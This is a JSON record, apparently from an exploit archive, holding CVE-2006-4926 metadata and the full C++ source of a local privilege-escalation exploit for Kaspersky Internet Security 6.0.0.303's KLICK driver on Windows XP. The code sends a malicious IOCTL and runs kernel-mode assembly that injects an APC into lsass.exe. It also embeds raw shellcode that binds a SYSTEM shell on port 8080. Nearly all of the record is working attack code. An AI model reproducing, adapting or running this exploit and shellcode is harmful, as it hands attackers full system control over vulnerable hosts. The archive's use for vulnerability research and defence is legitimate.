{"exploit":{"id":"EDB-2676","name":"Kaspersky Internet Security 6.0.0.303 - IOCTL KLICK Local Overflow / Local Privilege Escalation (LPE)","description":"Kaspersky Internet Security 6.0.0.303 - IOCTL KLICK Local Overflow / Local Privilege Escalation (LPE)","cves":["CVE-2006-4926"],"author":"Nanika","published":"2006-10-29","platform":"windows","type":"local","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2676","path":"exploits/windows/local/2676.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2676.cpp","vulnerabilities":[{"id":"CVE-2006-4926","state":"PUBLISHED","title":null,"titleSource":null,"description":"The NDIS-TDI Hooking Engine, as used in the (1) KLICK (KLICK.SYS) and (2) KLIN (KLIN.SYS) device drivers 2.0.0.281 for in Kaspersky Labs Anti-Virus 6.0.0.303 and other Anti-Virus and Internet Security products, allows local users to execute arbitrary code via crafted Irp structure with invalid addresses in the 0x80052110 IOCTL.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4926","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4926"},"updatedAt":"2024-08-07T19:32:22.423Z","retrievedAt":"2026-11-27T05:06:30.740Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2676.png?v=2","url":"https://exploitbin.com/exploits/EDB-2676","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2676/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2676/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"////////////////////////////////////\n///// AVP (Kaspersky)\n////////////////////////////////////\n//// FOR EDUCATIONAL PURPOSES ONLY\n//// Kernel Privilege Escalation #2\n//// Exploit\n//// Rubén Santamarta\n//// www.reversemode.com\n//// 01/09/2006\n////\n////\n////Modify by Nanika\n////naninb[at]gmail.com\n////nanika[at]chroot.org\n////Exploit Get SYSTEM SHELL PORT 8080\n////WindowsXP Version SP2+ Kaspersky Internet Security 6.0.0.303\n////Do not Enable Hardware DEP\n////Reference:\n////http://hitcon.org/download/2005/Windows_Kernel_Shellcode_Exploit.pdf\n////http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf\n////http://www.security.org.sg/code/sdtrestore.html\n////http://www.reversemode.com/\n////\n////\n////\n////I AM NOT Japanese :P\n////§Æ±æ¯àµ¹¤@¨Ç¬ã¨sKernel Exploitªº¤H¦³¤@¨ÇÀ°§U\n////¤À¨É¬O¦³¯qªº\n////////////////////////////////////\n#define sysenter __asm __emit 0x0f __asm __emit 0x34\n\n\n\n#include <windows.h>\n#include <stdio.h>\n\n#define STATUS_SUCCESS\t\t\t\t\t((NTSTATUS)0x00000000L)\n#define STATUS_INFO_LENGTH_MISMATCH\t\t((NTSTATUS)0xC0000004L)\n#define OBJ_CASE_INSENSITIVE\t\t\t0x00000040L\n#define PAGE_READONLY\t\t\t\t\t0x02\n#define PAGE_READWRITE\t\t\t\t\t0x04\n#define DEF_KERNEL_BASE\t\t\t\t\t0x80400000L\n#define\tSystemModuleInformation\t\t\t11\n#define PROT_MEMBASE\t\t\t\t\t0x80000000\n\ntypedef LONG\tNTSTATUS;\ntypedef struct _SYSTEM_MODULE_INFORMATION\n{\n\tULONG Reserved[2];\n\tPVOID Base;\n\tULONG Size;\n\tULONG Flags;\n\tUSHORT Index;\n\tUSHORT Unknown;\n\tUSHORT LoadCount;\n\tUSHORT ModuleNameOffset;\n\tCHAR ImageName[256];\n} SYSTEM_MODULE_INFORMATION;\n\nNTSTATUS (WINAPI * _NtQuerySystemInformation)(UINT, PVOID, ULONG, PULONG);\n\n\nHINSTANCE base;\n\nDWORD *kbase;\nint *ExAllocatePool;\nint *KeInitializeApc;\nint *KeInsertQueueApc;\nint *ZwYieldExecution;\n\n\nunsigned char code[] =\n//USER MODE Shellcode bind port 8080\n//470bytes\n\"\\x90\\x90\\x90\\x90\\x90\"\n\"\\x83\\xec\\x34\\x8b\\xf4\\xe8\\x47\\x01\\x00\\x00\\x89\\x06\\xff\\x36\\x68\\x8e\"\n\"\\x4e\\x0e\\xec\\xe8\\x61\\x01\\x00\\x00\\x89\\x46\\x08\\xff\\x36\\x68\\xad\\xd9\"\n\"\\x05\\xce\\xe8\\x52\\x01\\x00\\x00\\x89\\x46\\x0c\\x68\\x6c\\x6c\\x00\\x00\\x68\"\n\"\\x33\\x32\\x2e\\x64\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\x56\\x08\\x89\\x46\\x04\"\n\"\\xff\\x36\\x68\\x72\\xfe\\xb3\\x16\\xe8\\x2d\\x01\\x00\\x00\\x89\\x46\\x10\\xff\"\n\"\\x36\\x68\\x7e\\xd8\\xe2\\x73\\xe8\\x1e\\x01\\x00\\x00\\x89\\x46\\x14\\xff\\x76\"\n\"\\x04\\x68\\xcb\\xed\\xfc\\x3b\\xe8\\x0e\\x01\\x00\\x00\\x89\\x46\\x18\\xff\\x76\"\n\"\\x04\\x68\\xd9\\x09\\xf5\\xad\\xe8\\xfe\\x00\\x00\\x00\\x89\\x46\\x1c\\xff\\x76\"\n\"\\x04\\x68\\xa4\\x1a\\x70\\xc7\\xe8\\xee\\x00\\x00\\x00\\x89\\x46\\x20\\xff\\x76\"\n\"\\x04\\x68\\xa4\\xad\\x2e\\xe9\\xe8\\xde\\x00\\x00\\x00\\x89\\x46\\x24\\xff\\x76\"\n\"\\x04\\x68\\xe5\\x49\\x86\\x49\\xe8\\xce\\x00\\x00\\x00\\x89\\x46\\x28\\xff\\x76\"\n\"\\x04\\x68\\xe7\\x79\\xc6\\x79\\xe8\\xbe\\x00\\x00\\x00\\x89\\x46\\x2c\\x33\\xff\"\n\"\\x81\\xec\\x90\\x01\\x00\\x00\\x54\\x68\\x01\\x01\\x00\\x00\\xff\\x56\\x18\\x50\"\n\"\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\xff\\x56\\x1c\\x8b\\xd8\\x57\\x57\\x68\\x02\"\n\"\\x00\\x1f\\x90\\x8b\\xcc\\x6a\\x16\\x51\\x53\\xff\\x56\\x20\\x57\\x53\\xff\\x56\"\n\"\\x24\\x57\\x51\\x53\\xff\\x56\\x28\\x8b\\xd0\\x68\\x65\\x78\\x65\\x00\\x68\\x63\"\n\"\\x6d\\x64\\x2e\\x89\\x66\\x30\\x83\\xec\\x54\\x8d\\x3c\\x24\\x33\\xc0\\x33\\xc9\"\n\"\\x83\\xc1\\x15\\xab\\xe2\\xfd\\xc6\\x44\\x24\\x10\\x44\\xfe\\x44\\x24\\x3d\\x89\"\n\"\\x54\\x24\\x48\\x89\\x54\\x24\\x4c\\x89\\x54\\x24\\x50\\x8d\\x44\\x24\\x10\\x54\"\n\"\\x50\\x51\\x51\\x51\\x6a\\x01\\x51\\x51\\xff\\x76\\x30\\x51\\xff\\x56\\x10\\x8b\"\n\"\\xcc\\x6a\\xff\\xff\\x31\\xff\\x56\\x0c\\x8b\\xc8\\x57\\xff\\x56\\x2c\\xff\\x56\"\n\"\\x14\\x55\\x56\\x64\\xa1\\x30\\x00\\x00\\x00\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\"\n\"\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\xeb\\x09\\x8b\\x40\\x34\\x8b\\xa8\\xb8\\x00\"\n\"\\x00\\x00\\x8b\\xc5\\x5e\\x5d\\xc2\\x04\\x00\\x53\\x55\\x56\\x57\\x8b\\x6c\\x24\"\n\"\\x18\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x03\\xd5\\x8b\\x4a\\x18\\x8b\\x5a\\x20\"\n\"\\x03\\xdd\\xe3\\x32\\x49\\x8b\\x34\\x8b\\x03\\xf5\\x33\\xff\\xfc\\x33\\xc0\\xac\"\n\"\\x3a\\xc4\\x74\\x07\\xc1\\xcf\\x0d\\x03\\xf8\\xeb\\xf2\\x3b\\x7c\\x24\\x14\\x75\"\n\"\\xe1\\x8b\\x5a\\x24\\x03\\xdd\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\"\n\"\\x04\\x8b\\x03\\xc5\\xeb\\x02\\x33\\xc0\\x8b\\xd5\\x5f\\x5e\\x5d\\x5b\\xc2\\x04\"\n\"\\x00\";\n\nvoid Ring0Function()\n{\n\t/*\n     printf(\"----[RING0]----\\n\");\n     printf(\"Hello From Ring0!\\n\");\n     printf(\"----[RING0]----\\n\\n\");\n\t WinExec(\"cmd.exe\",SW_SHOW);\n\t */\n __asm\n    {\n     nop\n     nop\n     nop\n     nop\n     nop\n     nop\n     nop\n     nop\n\n/*start here*/\n\n\n    mov        eax,fs:[0x124]//TEB\n    mov        esi,[eax+0x44]//EPROCESS\n    mov        eax,esi\n\n\nsearch:\n    mov        eax,[eax+0x88]   //activeprocess\n    sub        eax,0x88\n\n\n   // cmp        dword ptr[eax+0x84],0x444//EPROCESS_PID\n\tcmp dword ptr[eax+0x174],'sasl'//FileName lsass.exe\n    jne        search\n\n   // mov        ebx,dword ptr[eax+0xc8]//system token\n    mov  ebx,eax\n\n\n\n\tlea  esi,code//code\n\n    mov ecx,0x1d6// code = 0x1d6\n\n\tmov dword ptr[edi],0xffdf0800//Kernel ffdf0000=user 7ffe0000\n\tpush edi\n\tmov edi,[edi]\n\trep movsb\n\tpop edi\n\n\n    mov        ecx,dword ptr[ebx+0x190]\nfinddelay:\n\tmov ecx,[ecx]\n    cmp byte ptr[ecx-0x1ff],0x5//1ff =ethread list - state 0x5=wait\n\tjnz finddelay\n    sub ecx,0x22c\n    mov ebp,ecx\n\n\tpush 0x30//APC Object sizeof\n\tpush 0 //Nonpage\n\tmov eax,ExAllocatePool//ExAllocatePool for APC Object\n    call eax//call ExAllocatePool\n    mov esi,eax\n\txor edx,edx\n\tpush edx//NULL\n\tpush 01//UserMode\n//\tpush dword ptr[edi]//user mode shellcode\n    mov eax,0x7ffe0800//user mode shellcode\n    push eax//User Mode routine\n\tpush edx//NULL\n\tmov eax,ZwYieldExecution//0x804dd668//804dd237=kernel routine ret\n\tpush eax//Kernel Mode routine\n\tpush edx//NULL\n\tpush ebp//ETHREAD\n\tpush esi//APC object\n\tmov eax,KeInitializeApc  //initialize APC\n\tcall eax\n\n\n\txor ecx,ecx\n\txor edx,edx\n    xor eax,eax\n    push eax\n\tpush eax\n\tpush ebp//ETHREAD\n\tpush esi//APC Object\n\tmov eax,KeInsertQueueApc\n\tcall eax\n\n//    test eax,eax\n//\tjz recall\n\n\tmov byte ptr[ebp+0x4a],0x1\n\n/*\n\tpush 0x80000000\n\tpush 0\n\tpush 0\n\tmov eax,0x804dd4b8\n\tcall eax\n*/\n/*\nyeldloop:\n\tmov eax,0x804df4d5\n\tcall eax\n\tjmp yeldloop\n*/\n\n    iretd\n/*end here*/\n     int 3\n     NOP\n     NOP\n     NOP\n     NOP\n     NOP\n     NOP\n     NOP\n     NOP\n\n    }\n\n     exit(1);\n\t //printf(\"WindowsXP Version :P\\n\\n\");\n}\nBOOL getNativeAPIs(void)\n{\nHMODULE hntdll;\n\nhntdll = GetModuleHandle(\"ntdll.dll\");\n\n\t*(FARPROC *)&_NtQuerySystemInformation =\n\t\tGetProcAddress(hntdll, \"ZwQuerySystemInformation\");\n\nif(_NtQuerySystemInformation)\n{\n\t\treturn TRUE;\n\t}\n\treturn FALSE;\n\n}\n\n\nDWORD getKernelBase(void)\n{\n\tHANDLE hHeap = GetProcessHeap();\n\n\tNTSTATUS Status;\n    ULONG cbBuffer = 0x8000;\n    PVOID pBuffer = NULL;\n\tDWORD retVal = DEF_KERNEL_BASE;\n\n    do\n    {\n\t\tpBuffer = HeapAlloc(hHeap, 0, cbBuffer);\n\t\tif (pBuffer == NULL)\n\t\t\treturn DEF_KERNEL_BASE;\n\n\t\tStatus = _NtQuerySystemInformation(SystemModuleInformation,\n\t\t\t\t\tpBuffer, cbBuffer, NULL);\n\n\t\tif(Status == STATUS_INFO_LENGTH_MISMATCH)\n\t\t{\n\t\t\tHeapFree(hHeap, 0, pBuffer);\n\t\t\tcbBuffer *= 2;\n\t\t}\n\t\telse if(Status != STATUS_SUCCESS)\n\t\t{\n\t\t\tHeapFree(hHeap, 0, pBuffer);\n\t\t\treturn DEF_KERNEL_BASE;\n\t\t}\n    }\n    while (Status == STATUS_INFO_LENGTH_MISMATCH);\n\n\tDWORD numEntries = *((DWORD *)pBuffer);\n\tSYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)((char *)pBuffer + sizeof(DWORD));\n\n\tfor(DWORD i = 0; i < numEntries; i++)\n\t{\n\t\tif(strcmpi(smi->ImageName, \"ntoskrnl.exe\"))\n\t\t{\n\t\t\tprintf(\"%.8X - %s\\n\", smi->Base, smi->ImageName);\n\t\t\tretVal = (DWORD)(smi->Base);\n\t\t\tbreak;\n\t\t}\n\t\tsmi++;\n\t}\n\n\tHeapFree(hHeap, 0, pBuffer);\n\n\treturn retVal;\n}\nVOID ShowError()\n{\n LPVOID lpMsgBuf;\n FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,\n               NULL,\n               GetLastError(),\n               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n               (LPTSTR) &lpMsgBuf,\n               0,\n               NULL);\n MessageBoxA(0,(LPTSTR)lpMsgBuf,\"Error\",0);\n exit(1);\n}\n\nint main(int argc, char *argv[])\n{\n\n DWORD\t\t\t\tInBuff[1];\n DWORD\t\t\t\tdwIOCTL,OutSize,InSize,junk;\n HANDLE\t\t\t\thDevice;\n OSVERSIONINFO ov;\n\nsystem(\"cls\");\nprintf(\"#######################\\n\");\nprintf(\"## AVP Ring0 Exploit ##\\n\");\nprintf(\"#######################\\n\");\nprintf(\"Ruben Santamarta\\nwww.reversemode.com\\n\\n\");\nprintf(\"Modify by Nanika\\n\\n\");\nprintf(\"naninb[at]gmail.com\\n\");\nprintf(\"www.chroot.org\\n\");\nprintf(\"WindowsXP Version SP2+ Kaspersky Internet Security 6.0.0.303 :P\\n\");\n\n\n\n\tov.dwOSVersionInfoSize = sizeof(ov);\n\tGetVersionEx(&ov);\n\tif(ov.dwMajorVersion != 5)\n\t{\n\t\tprintf(\"Sorry, this version supports only WinXP.\\n\");\n\t\treturn 1;\n\t}\n\n\tif(ov.dwMinorVersion != 1)\n\t{\n\t\tprintf(\"Sorry, this version supports only WinXP.\\n\");\n\t\treturn 1;\n\t}\ngetNativeAPIs();\n\nkbase=(unsigned long *)getKernelBase();\nbase=LoadLibrary(\"ntoskrnl.exe\");\n\nExAllocatePool=(int *)GetProcAddress(base,\"ExAllocatePool\");\nKeInitializeApc=(int *)GetProcAddress(base,\"KeInitializeApc\");\nKeInsertQueueApc=(int *)GetProcAddress(base,\"KeInsertQueueApc\");\nZwYieldExecution=(int *)GetProcAddress(base,\"ZwYieldExecution\");\nExAllocatePool=(int *)((int *)ExAllocatePool - (int *)base+(int *)kbase);\nKeInitializeApc=(int *)((int *)KeInitializeApc-(int *)base+(int *)kbase);\nKeInsertQueueApc=(int *)((int *)KeInsertQueueApc-(int *)base+(int *)kbase);\nZwYieldExecution=(int *)((int *)ZwYieldExecution-(int *)base+(int *)kbase);\nFreeLibrary(base);\n\nhDevice = CreateFile(\"\\\\\\\\.\\\\KLICK\",\n                     0,\n                     0,\n                     NULL,\n                     3,\n                     0,\n                     0);\n\n//////////////////////\n///// INFO\n//////////////////////\n\n if (hDevice == INVALID_HANDLE_VALUE) ShowError();\n printf(\"[!] KLICK Device Handle [%x]\\n\",hDevice);\n\n\n\n//////////////////////\n///// BUFFERS\n//////////////////////\n InSize = 0x8;\n\n\n InBuff[0] =(DWORD) Ring0Function;  // Ring0 ShellCode Address\n\n //////////////////////\n ///// IOCTL\n //////////////////////\n\n dwIOCTL = 0x80052110;\n\n printf(\"[!] IOCTL [0x%x]\\n\\n\",dwIOCTL);\n printf(\"Exploit TEST!!!!!!!!!!\\n\\n\");\n printf(\"Telnet x.x.x.x 8080 get SYSTEM shell!!!!!!!!  :P\\n\\n\");\n DeviceIoControl(hDevice,\n                 dwIOCTL,\n                 InBuff,0x8,\n                 (LPVOID)NULL,0,\n                 &junk,\n                 NULL);\n\n\n\n}\n\n// milw0rm.com [2006-10-29]","sha256":"83a87cd6d0bc607817090adcd920083496d8e46fa1c3689b81b9f28e05ff4e41","bytes":9837,"fetchedAt":"2026-11-27T05:06:28.987Z","encoding":"utf-8 (display only; download retains original bytes)"}